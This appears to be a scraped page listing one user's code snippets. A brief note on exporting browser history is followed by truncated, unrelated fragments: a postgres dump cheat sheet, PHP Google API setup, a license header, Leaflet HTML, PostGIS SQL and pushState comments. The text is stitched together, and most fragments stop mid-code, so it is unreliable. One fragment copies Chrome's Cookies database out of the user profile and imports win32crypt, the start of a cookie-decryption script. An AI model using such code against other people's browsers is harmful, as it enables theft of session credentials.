abubelinha

Browser histories

Unless you are using Safari on OSX, most browsers will have some kind of free plugin that you can use to export the browser's history. So that's probably the easiest way. The harder way, which seems to be what Safari wants is a bit more hacky but it will also work for other browsers. Turns out that most of them, including Safari, have their history saved in some kind of sqlite database file somewhere in your home directory.

The OSX Finder cheats a little bit and doesn't show us all the files that actually exist on our drive. It tries to protect us from ourselves by hiding some system and application-specific files. You can work around this by either using the terminal (my preferred method) or by using the Cmd+Shft+G in Finder.

Once you locate the file containing the browser's history, copy it to make a backup just in case we screw up.

	# This is just a cheat sheet:

	# On production
	sudo -u postgres pg_dump database \| gzip -9 > database.sql.gz

	# On local
	scp -C production:~/database.sql.gz
	dropdb database && createdb database
	gunzip < database.sql.gz \| psql database

	<?php
	// apitest.php
	// by Karl Kranich - karl.kranich.org
	// version 3.1 - edited query section

	require_once realpath(dirname(__FILE__) . '/vendor/autoload.php');
	include_once "google-api-php-client/examples/templates/base.php";

	$client = new Google_Client();

	/*
	* Copyright 2017 Mohsen Mesgarpour
	*
	* Licensed under the Apache License, Version 2.0 (the "License");
	* you may not use this file except in compliance with the License.
	* You may obtain a copy of the License at
	*
	* http://www.apache.org/licenses/LICENSE-2.0
	*
	* Unless required by applicable law or agreed to in writing, software

	#!/usr/bin/env python
	from __future__ import print_function, unicode_literals
	import operator
	import psycopg2
	import psycopg2.extras
	import io
	import json
	import sys
	import logging

	<html>
	<head>
	<link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css"/>
	<style>
	#mapid{
	height: 480px;
	}

	#download {
	position:absolute;

	#Based off https://gist.github.com/DakuTree/98c8362fb424351b803e & pieces of https://gist.github.com/jordan-wright/5770442
	from os import getenv
	from shutil import copyfile
	import sqlite3
	import win32crypt #https://sourceforge.net/projects/pywin32/

	# Copy Cookies to current folder
	copyfile(getenv("APPDATA") + "/../Local/Google/Chrome/User Data/Default/Cookies", './Cookies')

	# Connect to the Database

	INSERT INTO <my_table_name> (cartodb_id, the_geom, the_geom_webmercator)
	WITH inputs AS (SELECT
	ST_Transform(ST_SetSRID(ST_MakeEnvelope(
	-126.21093749999999, 23.241346102386135,
	-63.28125, 50.064191736659104
	), 4326), 5070) geom,
	500000 width,
	500000 height
	), rast AS (SELECT
	(st_pixelaspolygons(

	/* The solution found here: http://www.aspsnippets.com/Articles/Change-URL-in-Browser-Address-Bar-without-reloading-using-JavaScript-and-jQuery.aspx */

	/** HTML5 History pushState method
	* The pushState method works similar to window.location but it does not refresh or reload the page and it will modify the URL even if the page does not exists. The pushState method actually inserts an entry into the history of the browsers which allows us to go back and forth using the browser’s forward and back buttons.
	* The pushState method accepts the following three parameters.
	* 1. State object: - The state object is a JavaScript object which can contain any details about the page and must be serializable.
	* 2. Title: - The title of the page.
	* 3. URL – The URL of the page.
	*/